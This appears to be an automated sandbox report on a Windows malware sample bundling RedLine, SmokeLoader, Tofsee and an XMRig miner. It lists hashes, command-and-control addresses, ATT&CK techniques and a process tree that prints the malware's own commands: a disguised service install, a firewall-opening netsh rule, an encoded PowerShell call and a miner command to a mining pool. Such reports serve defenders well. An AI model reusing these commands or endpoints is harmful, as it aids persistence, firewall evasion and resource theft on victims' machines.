Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10-1703_x64
  • resource
    win10-20220812-en
  • resource tags

    arch:x64arch:x86image:win10-20220812-enlocale:en-usos:windows10-1703-x64system
  • submitted
    23-09-2022 03:14

General

  • Target

    7a7e642268792001f1dff6e1b8b5ef6553fbb29e6c2b96eb64585789941d18c6.exe

  • Size

    281KB

  • MD5

    ebd5bddb3e83bd9b285bb4dab268e2d1

  • SHA1

    6091c000d91069acab09d004063bfdac43cc06ad

  • SHA256

    7a7e642268792001f1dff6e1b8b5ef6553fbb29e6c2b96eb64585789941d18c6

  • SHA512

    e517d87d81a5882fc417c7b8bc1962daae58d573addfd59db9de154d4fbec382ffaf912623646d11efeb89f3b646c558616f0e7940acde2ac416c8359d7d0011

  • SSDEEP

    6144:IvghzNxenLJPwIj+W+8g5Liw62oedN0BwLcigavwVfE:Iv8J8FPwIj+7Ww6ZBwtn

Malware Config

Extracted

Family

redline

Botnet

LogsDiller Cloud (Sup: @mr_golds)

C2

77.73.134.27:8163

Attributes
  • auth_value

    56c6f7b9024c076f0a96931453da7e56

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Detects Smokeloader packer 1 IoCs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 2 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 1 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 9 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 35 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\7a7e642268792001f1dff6e1b8b5ef6553fbb29e6c2b96eb64585789941d18c6.exe
    "C:\Users\Admin\AppData\Local\Temp\7a7e642268792001f1dff6e1b8b5ef6553fbb29e6c2b96eb64585789941d18c6.exe"
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    PID:4248
  • C:\Users\Admin\AppData\Local\Temp\F968.exe
    C:\Users\Admin\AppData\Local\Temp\F968.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:5008
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:55676
  • C:\Users\Admin\AppData\Local\Temp\FEA9.exe
    C:\Users\Admin\AppData\Local\Temp\FEA9.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:9912
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ovwmfmjg\
      2⤵
        PID:3720
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\autsjcpu.exe" C:\Windows\SysWOW64\ovwmfmjg\
        2⤵
          PID:4712
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ovwmfmjg binPath= "C:\Windows\SysWOW64\ovwmfmjg\autsjcpu.exe /d\"C:\Users\Admin\AppData\Local\Temp\FEA9.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4808
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ovwmfmjg "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3080
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ovwmfmjg
          2⤵
          • Launches sc.exe
          PID:660
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1016
      • C:\Users\Admin\AppData\Local\Temp\8CC.exe
        C:\Users\Admin\AppData\Local\Temp\8CC.exe
        1⤵
        • Executes dropped EXE
        PID:39580
      • C:\Users\Admin\AppData\Local\Temp\1233.exe
        C:\Users\Admin\AppData\Local\Temp\1233.exe
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:55812
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANgA4AA==
          2⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:864
        • C:\Users\Admin\AppData\Local\Temp\1233.exe
          C:\Users\Admin\AppData\Local\Temp\1233.exe
          2⤵
          • Executes dropped EXE
          PID:9264
        • C:\Users\Admin\AppData\Local\Temp\1233.exe
          C:\Users\Admin\AppData\Local\Temp\1233.exe
          2⤵
          • Executes dropped EXE
          PID:9272
        • C:\Users\Admin\AppData\Local\Temp\1233.exe
          C:\Users\Admin\AppData\Local\Temp\1233.exe
          2⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          PID:9284
      • C:\Users\Admin\AppData\Local\Temp\1D40.exe
        C:\Users\Admin\AppData\Local\Temp\1D40.exe
        1⤵
        • Executes dropped EXE
        PID:56172
      • C:\Windows\SysWOW64\explorer.exe
        C:\Windows\SysWOW64\explorer.exe
        1⤵
          PID:4520
        • C:\Windows\explorer.exe
          C:\Windows\explorer.exe
          1⤵
            PID:3996
          • C:\Windows\SysWOW64\explorer.exe
            C:\Windows\SysWOW64\explorer.exe
            1⤵
              PID:3752
            • C:\Windows\explorer.exe
              C:\Windows\explorer.exe
              1⤵
                PID:4920
              • C:\Windows\SysWOW64\explorer.exe
                C:\Windows\SysWOW64\explorer.exe
                1⤵
                  PID:4752
                • C:\Windows\SysWOW64\explorer.exe
                  C:\Windows\SysWOW64\explorer.exe
                  1⤵
                    PID:1872
                  • C:\Windows\SysWOW64\explorer.exe
                    C:\Windows\SysWOW64\explorer.exe
                    1⤵
                      PID:1212
                    • C:\Windows\explorer.exe
                      C:\Windows\explorer.exe
                      1⤵
                        PID:4672
                      • C:\Windows\SysWOW64\explorer.exe
                        C:\Windows\SysWOW64\explorer.exe
                        1⤵
                          PID:3580
                        • C:\Windows\SysWOW64\ovwmfmjg\autsjcpu.exe
                          C:\Windows\SysWOW64\ovwmfmjg\autsjcpu.exe /d"C:\Users\Admin\AppData\Local\Temp\FEA9.exe"
                          1⤵
                          • Executes dropped EXE
                          • Suspicious use of SetThreadContext
                          PID:5276
                          • C:\Windows\SysWOW64\svchost.exe
                            svchost.exe
                            2⤵
                            • Sets service image path in registry
                            • Drops file in System32 directory
                            • Suspicious use of SetThreadContext
                            • Modifies data under HKEY_USERS
                            PID:6876
                            • C:\Windows\SysWOW64\svchost.exe
                              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
                              3⤵
                              • Suspicious use of AdjustPrivilegeToken
                              PID:8952

                        Network

                        MITRE ATT&CK Matrix ATT&CK v6

                        Persistence

                        New Service

                        1
                        T1050

                        Modify Existing Service

                        1
                        T1031

                        Registry Run Keys / Startup Folder

                        1
                        T1060

                        Privilege Escalation

                        New Service

                        1
                        T1050

                        Defense Evasion

                        Modify Registry

                        1
                        T1112

                        Credential Access

                        Credentials in Files

                        1
                        T1081

                        Discovery

                        System Information Discovery

                        2
                        T1082

                        Query Registry

                        1
                        T1012

                        Peripheral Device Discovery

                        1
                        T1120

                        Collection

                        Data from Local System

                        1
                        T1005

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\1233.exe.log
                          Filesize

                          1KB

                          MD5

                          b4665d47b723d14165da79ee69835572

                          SHA1

                          7d90e1281a81dda13e0948d063278dced0dbf801

                          SHA256

                          62482e1724cbc1820e0d5cf2752a198c480cf89ce18e2de19bd1fedcbad79862

                          SHA512

                          c32e03235311aa1451852eda3a887631a9daa2280ae37bf7b06c6b182c82061a05fee22d02aedc0e3d7f006a6893fd6eb849ace1474298f7f67bde188607167f

                        • C:\Users\Admin\AppData\Local\Temp\1233.exe
                          Filesize

                          1.1MB

                          MD5

                          ff97413fadad115998666fd129ccb86d

                          SHA1

                          152ca9dd31bf0c84f435154727186c8dca441f00

                          SHA256

                          6238542631b73f4d10cba3147b1e3326b01bc1f0ebf1cee83423eb2a4c9a6213

                          SHA512

                          2fdc2a83645d5764e81612903f6fd10581ba446bf52762f0cadc2b5e51b529dd522548c9545b4825b1924af4dc2556dfb1b3be0f6f94ffe7ef072511ef2f5c40

                        • C:\Users\Admin\AppData\Local\Temp\1233.exe
                          Filesize

                          1.1MB

                          MD5

                          ff97413fadad115998666fd129ccb86d

                          SHA1

                          152ca9dd31bf0c84f435154727186c8dca441f00

                          SHA256

                          6238542631b73f4d10cba3147b1e3326b01bc1f0ebf1cee83423eb2a4c9a6213

                          SHA512

                          2fdc2a83645d5764e81612903f6fd10581ba446bf52762f0cadc2b5e51b529dd522548c9545b4825b1924af4dc2556dfb1b3be0f6f94ffe7ef072511ef2f5c40

                        • C:\Users\Admin\AppData\Local\Temp\1233.exe
                          Filesize

                          1.1MB

                          MD5

                          ff97413fadad115998666fd129ccb86d

                          SHA1

                          152ca9dd31bf0c84f435154727186c8dca441f00

                          SHA256

                          6238542631b73f4d10cba3147b1e3326b01bc1f0ebf1cee83423eb2a4c9a6213

                          SHA512

                          2fdc2a83645d5764e81612903f6fd10581ba446bf52762f0cadc2b5e51b529dd522548c9545b4825b1924af4dc2556dfb1b3be0f6f94ffe7ef072511ef2f5c40

                        • C:\Users\Admin\AppData\Local\Temp\1233.exe
                          Filesize

                          1.1MB

                          MD5

                          ff97413fadad115998666fd129ccb86d

                          SHA1

                          152ca9dd31bf0c84f435154727186c8dca441f00

                          SHA256

                          6238542631b73f4d10cba3147b1e3326b01bc1f0ebf1cee83423eb2a4c9a6213

                          SHA512

                          2fdc2a83645d5764e81612903f6fd10581ba446bf52762f0cadc2b5e51b529dd522548c9545b4825b1924af4dc2556dfb1b3be0f6f94ffe7ef072511ef2f5c40

                        • C:\Users\Admin\AppData\Local\Temp\1233.exe
                          Filesize

                          1.1MB

                          MD5

                          ff97413fadad115998666fd129ccb86d

                          SHA1

                          152ca9dd31bf0c84f435154727186c8dca441f00

                          SHA256

                          6238542631b73f4d10cba3147b1e3326b01bc1f0ebf1cee83423eb2a4c9a6213

                          SHA512

                          2fdc2a83645d5764e81612903f6fd10581ba446bf52762f0cadc2b5e51b529dd522548c9545b4825b1924af4dc2556dfb1b3be0f6f94ffe7ef072511ef2f5c40

                        • C:\Users\Admin\AppData\Local\Temp\1D40.exe
                          Filesize

                          2.7MB

                          MD5

                          c0265881059ec2ecf23befda6fb64f9b

                          SHA1

                          8b7d0cd04f91bec9d379817c3adf0ddd81b7c544

                          SHA256

                          4b774adffc396f00368571a37a58c420ee4b9515c1440e32de91fb1a018acb4b

                          SHA512

                          0886c03d4c406eaffc0f60fa04a7e89c3d84feeb969148efc3738200cfec889d0b09cfe1248dfbe064a9472b03726d8ae24b647bf37047758bf06682b5effd57

                        • C:\Users\Admin\AppData\Local\Temp\1D40.exe
                          Filesize

                          2.7MB

                          MD5

                          c0265881059ec2ecf23befda6fb64f9b

                          SHA1

                          8b7d0cd04f91bec9d379817c3adf0ddd81b7c544

                          SHA256

                          4b774adffc396f00368571a37a58c420ee4b9515c1440e32de91fb1a018acb4b

                          SHA512

                          0886c03d4c406eaffc0f60fa04a7e89c3d84feeb969148efc3738200cfec889d0b09cfe1248dfbe064a9472b03726d8ae24b647bf37047758bf06682b5effd57

                        • C:\Users\Admin\AppData\Local\Temp\8CC.exe
                          Filesize

                          395KB

                          MD5

                          a864c7dcd49506486eb4a15632a34c03

                          SHA1

                          6f247530bd632cb53cdc0b7a8c466e2144c16d84

                          SHA256

                          dc69e3a17aba90423107dc5915e8a32e76d92aca74323131b36cf9fb144ecdbf

                          SHA512

                          71ea6c60927c29d24a5cb992490e0b71b2c5355b01b4de739a44b4fed2b2315eb6b5081ee44c65b71b08f9c5e0d6591b9b6b7e136cb31a47581420bbe92b7a72

                        • C:\Users\Admin\AppData\Local\Temp\8CC.exe
                          Filesize

                          395KB

                          MD5

                          a864c7dcd49506486eb4a15632a34c03

                          SHA1

                          6f247530bd632cb53cdc0b7a8c466e2144c16d84

                          SHA256

                          dc69e3a17aba90423107dc5915e8a32e76d92aca74323131b36cf9fb144ecdbf

                          SHA512

                          71ea6c60927c29d24a5cb992490e0b71b2c5355b01b4de739a44b4fed2b2315eb6b5081ee44c65b71b08f9c5e0d6591b9b6b7e136cb31a47581420bbe92b7a72

                        • C:\Users\Admin\AppData\Local\Temp\F968.exe
                          Filesize

                          2.6MB

                          MD5

                          d5ecc2fd366dbd8d0cd3e9e8c8f5dbd8

                          SHA1

                          ed7413773b7c9154c9aeed9d173f61577522e0db

                          SHA256

                          576f224909dc7872b8c5bb4902d177f273c8d680c783454b1d43ad46bed7e983

                          SHA512

                          858db48785bef29d7d58bf2ff2b7e6c00537e63d2c571741d86ccd293d77abdaa19deab3a68352dae67e650e8da8a20ed7f38e1716af66e589c1c0d58de94bd5

                        • C:\Users\Admin\AppData\Local\Temp\F968.exe
                          Filesize

                          2.6MB

                          MD5

                          d5ecc2fd366dbd8d0cd3e9e8c8f5dbd8

                          SHA1

                          ed7413773b7c9154c9aeed9d173f61577522e0db

                          SHA256

                          576f224909dc7872b8c5bb4902d177f273c8d680c783454b1d43ad46bed7e983

                          SHA512

                          858db48785bef29d7d58bf2ff2b7e6c00537e63d2c571741d86ccd293d77abdaa19deab3a68352dae67e650e8da8a20ed7f38e1716af66e589c1c0d58de94bd5

                        • C:\Users\Admin\AppData\Local\Temp\FEA9.exe
                          Filesize

                          281KB

                          MD5

                          eb12cec9616ba82fdb8fd500634b225f

                          SHA1

                          f2d1768d0651d7fbdfa22d1a7ffdfff378779941

                          SHA256

                          fab0d98a0fccfbd4c20699e0a09bc0ba1eb2affd3cd742f0e07be929ea21bd2e

                          SHA512

                          96baec7a0aa21cb3429c83326615f009db4deb18ad399e996e3df36e0064ec52cfce8284fab7326d05df634d1bd4008d683f41ed01f54dc482a0527f0cb8ec72

                        • C:\Users\Admin\AppData\Local\Temp\FEA9.exe
                          Filesize

                          281KB

                          MD5

                          eb12cec9616ba82fdb8fd500634b225f

                          SHA1

                          f2d1768d0651d7fbdfa22d1a7ffdfff378779941

                          SHA256

                          fab0d98a0fccfbd4c20699e0a09bc0ba1eb2affd3cd742f0e07be929ea21bd2e

                          SHA512

                          96baec7a0aa21cb3429c83326615f009db4deb18ad399e996e3df36e0064ec52cfce8284fab7326d05df634d1bd4008d683f41ed01f54dc482a0527f0cb8ec72

                        • C:\Users\Admin\AppData\Local\Temp\autsjcpu.exe
                          Filesize

                          11.3MB

                          MD5

                          a3a29d5fd3dc17af2a2265e5e035d911

                          SHA1

                          7aaa02899bb252c97ab8163aa5e76dd054c4d60d

                          SHA256

                          5463238f76a91a5aa7313735caa4cf2e5f6b3df99d3287ca805b62bbda1944e1

                          SHA512

                          ac17aa3408168fd3ae4dde6a961e7527ebffb8f8e6adebb9eff7f48a3be3d1582e5936ba6bb76bff73173bd4e385e228d5185d086975c063d0634bf43ad5704c

                        • C:\Windows\SysWOW64\ovwmfmjg\autsjcpu.exe
                          Filesize

                          11.3MB

                          MD5

                          a3a29d5fd3dc17af2a2265e5e035d911

                          SHA1

                          7aaa02899bb252c97ab8163aa5e76dd054c4d60d

                          SHA256

                          5463238f76a91a5aa7313735caa4cf2e5f6b3df99d3287ca805b62bbda1944e1

                          SHA512

                          ac17aa3408168fd3ae4dde6a961e7527ebffb8f8e6adebb9eff7f48a3be3d1582e5936ba6bb76bff73173bd4e385e228d5185d086975c063d0634bf43ad5704c

                        • memory/660-498-0x0000000000000000-mapping.dmp
                        • memory/864-1056-0x0000000008EE0000-0x0000000008EFA000-memory.dmp
                          Filesize

                          104KB

                        • memory/864-845-0x0000000007020000-0x0000000007648000-memory.dmp
                          Filesize

                          6.2MB

                        • memory/864-1054-0x0000000009730000-0x0000000009DA8000-memory.dmp
                          Filesize

                          6.5MB

                        • memory/864-1013-0x0000000008120000-0x0000000008196000-memory.dmp
                          Filesize

                          472KB

                        • memory/864-1003-0x0000000007870000-0x000000000788C000-memory.dmp
                          Filesize

                          112KB

                        • memory/864-986-0x00000000078A0000-0x0000000007906000-memory.dmp
                          Filesize

                          408KB

                        • memory/864-811-0x0000000006930000-0x0000000006966000-memory.dmp
                          Filesize

                          216KB

                        • memory/864-524-0x0000000000000000-mapping.dmp
                        • memory/1016-531-0x0000000000000000-mapping.dmp
                        • memory/1212-605-0x0000000000000000-mapping.dmp
                        • memory/1212-961-0x0000000000810000-0x000000000081B000-memory.dmp
                          Filesize

                          44KB

                        • memory/1212-957-0x0000000000820000-0x0000000000826000-memory.dmp
                          Filesize

                          24KB

                        • memory/1872-917-0x0000000000490000-0x0000000000495000-memory.dmp
                          Filesize

                          20KB

                        • memory/1872-564-0x0000000000000000-mapping.dmp
                        • memory/1872-1441-0x0000000000490000-0x0000000000495000-memory.dmp
                          Filesize

                          20KB

                        • memory/1872-952-0x0000000000480000-0x0000000000489000-memory.dmp
                          Filesize

                          36KB

                        • memory/3080-466-0x0000000000000000-mapping.dmp
                        • memory/3580-996-0x0000000000110000-0x000000000011B000-memory.dmp
                          Filesize

                          44KB

                        • memory/3580-995-0x0000000000120000-0x0000000000128000-memory.dmp
                          Filesize

                          32KB

                        • memory/3580-1537-0x0000000000120000-0x0000000000128000-memory.dmp
                          Filesize

                          32KB

                        • memory/3580-696-0x0000000000000000-mapping.dmp
                        • memory/3720-400-0x0000000000000000-mapping.dmp
                        • memory/3752-721-0x0000000002F60000-0x0000000002F69000-memory.dmp
                          Filesize

                          36KB

                        • memory/3752-714-0x0000000002F70000-0x0000000002F75000-memory.dmp
                          Filesize

                          20KB

                        • memory/3752-434-0x0000000000000000-mapping.dmp
                        • memory/3752-1105-0x0000000002F70000-0x0000000002F75000-memory.dmp
                          Filesize

                          20KB

                        • memory/3996-907-0x0000000000810000-0x0000000000819000-memory.dmp
                          Filesize

                          36KB

                        • memory/3996-426-0x0000000000810000-0x0000000000819000-memory.dmp
                          Filesize

                          36KB

                        • memory/3996-399-0x0000000000000000-mapping.dmp
                        • memory/3996-431-0x0000000000800000-0x000000000080F000-memory.dmp
                          Filesize

                          60KB

                        • memory/4248-135-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/4248-127-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/4248-138-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/4248-130-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/4248-132-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/4248-119-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/4248-133-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/4248-134-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/4248-137-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/4248-139-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/4248-140-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/4248-136-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/4248-129-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/4248-157-0x0000000000400000-0x000000000044B000-memory.dmp
                          Filesize

                          300KB

                        • memory/4248-156-0x0000000000400000-0x000000000044B000-memory.dmp
                          Filesize

                          300KB

                        • memory/4248-155-0x00000000004E0000-0x00000000004E9000-memory.dmp
                          Filesize

                          36KB

                        • memory/4248-154-0x0000000000500000-0x000000000064A000-memory.dmp
                          Filesize

                          1.3MB

                        • memory/4248-141-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/4248-153-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/4248-142-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/4248-152-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/4248-151-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/4248-128-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/4248-150-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/4248-149-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/4248-120-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/4248-148-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/4248-131-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/4248-121-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/4248-126-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/4248-143-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/4248-147-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/4248-125-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/4248-124-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/4248-145-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/4248-146-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/4248-122-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/4248-123-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/4520-993-0x0000000000870000-0x0000000000877000-memory.dmp
                          Filesize

                          28KB

                        • memory/4520-372-0x0000000000000000-mapping.dmp
                        • memory/4520-572-0x0000000000860000-0x000000000086B000-memory.dmp
                          Filesize

                          44KB

                        • memory/4520-529-0x0000000000870000-0x0000000000877000-memory.dmp
                          Filesize

                          28KB

                        • memory/4672-650-0x0000000000000000-mapping.dmp
                        • memory/4672-702-0x00000000009B0000-0x00000000009B7000-memory.dmp
                          Filesize

                          28KB

                        • memory/4672-709-0x00000000009A0000-0x00000000009AD000-memory.dmp
                          Filesize

                          52KB

                        • memory/4672-1101-0x00000000009B0000-0x00000000009B7000-memory.dmp
                          Filesize

                          28KB

                        • memory/4712-416-0x0000000000000000-mapping.dmp
                        • memory/4752-863-0x0000000003060000-0x0000000003082000-memory.dmp
                          Filesize

                          136KB

                        • memory/4752-911-0x0000000003030000-0x0000000003057000-memory.dmp
                          Filesize

                          156KB

                        • memory/4752-519-0x0000000000000000-mapping.dmp
                        • memory/4808-444-0x0000000000000000-mapping.dmp
                        • memory/4920-525-0x0000000000710000-0x000000000071C000-memory.dmp
                          Filesize

                          48KB

                        • memory/4920-517-0x0000000000720000-0x0000000000726000-memory.dmp
                          Filesize

                          24KB

                        • memory/4920-473-0x0000000000000000-mapping.dmp
                        • memory/4920-992-0x0000000000720000-0x0000000000726000-memory.dmp
                          Filesize

                          24KB

                        • memory/5008-162-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/5008-165-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/5008-168-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/5008-158-0x0000000000000000-mapping.dmp
                        • memory/5008-160-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/5008-166-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/5008-161-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/5008-163-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/5008-164-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/5276-1104-0x0000000000400000-0x000000000044B000-memory.dmp
                          Filesize

                          300KB

                        • memory/5276-1100-0x0000000000715000-0x0000000000725000-memory.dmp
                          Filesize

                          64KB

                        • memory/6876-1538-0x0000000002390000-0x00000000023A5000-memory.dmp
                          Filesize

                          84KB

                        • memory/6876-1214-0x0000000002390000-0x00000000023A5000-memory.dmp
                          Filesize

                          84KB

                        • memory/6876-1092-0x0000000002399A6B-mapping.dmp
                        • memory/8952-1573-0x0000000002C9259C-mapping.dmp
                        • memory/9284-1617-0x0000000000402DEA-mapping.dmp
                        • memory/9284-1652-0x0000000000400000-0x0000000000482000-memory.dmp
                          Filesize

                          520KB

                        • memory/9912-185-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/9912-175-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/9912-370-0x0000000000400000-0x000000000044B000-memory.dmp
                          Filesize

                          300KB

                        • memory/9912-327-0x000000000072C000-0x000000000073D000-memory.dmp
                          Filesize

                          68KB

                        • memory/9912-544-0x000000000072C000-0x000000000073D000-memory.dmp
                          Filesize

                          68KB

                        • memory/9912-332-0x0000000000570000-0x0000000000583000-memory.dmp
                          Filesize

                          76KB

                        • memory/9912-549-0x0000000000570000-0x0000000000583000-memory.dmp
                          Filesize

                          76KB

                        • memory/9912-553-0x0000000000400000-0x000000000044B000-memory.dmp
                          Filesize

                          300KB

                        • memory/9912-193-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/9912-192-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/9912-191-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/9912-190-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/9912-189-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/9912-188-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/9912-187-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/9912-186-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/9912-169-0x0000000000000000-mapping.dmp
                        • memory/9912-184-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/9912-183-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/9912-182-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/9912-181-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/9912-180-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/9912-179-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/9912-177-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/9912-176-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/9912-171-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/9912-174-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/9912-173-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/9912-172-0x0000000076E80000-0x000000007700E000-memory.dmp
                          Filesize

                          1.6MB

                        • memory/39580-197-0x0000000000000000-mapping.dmp
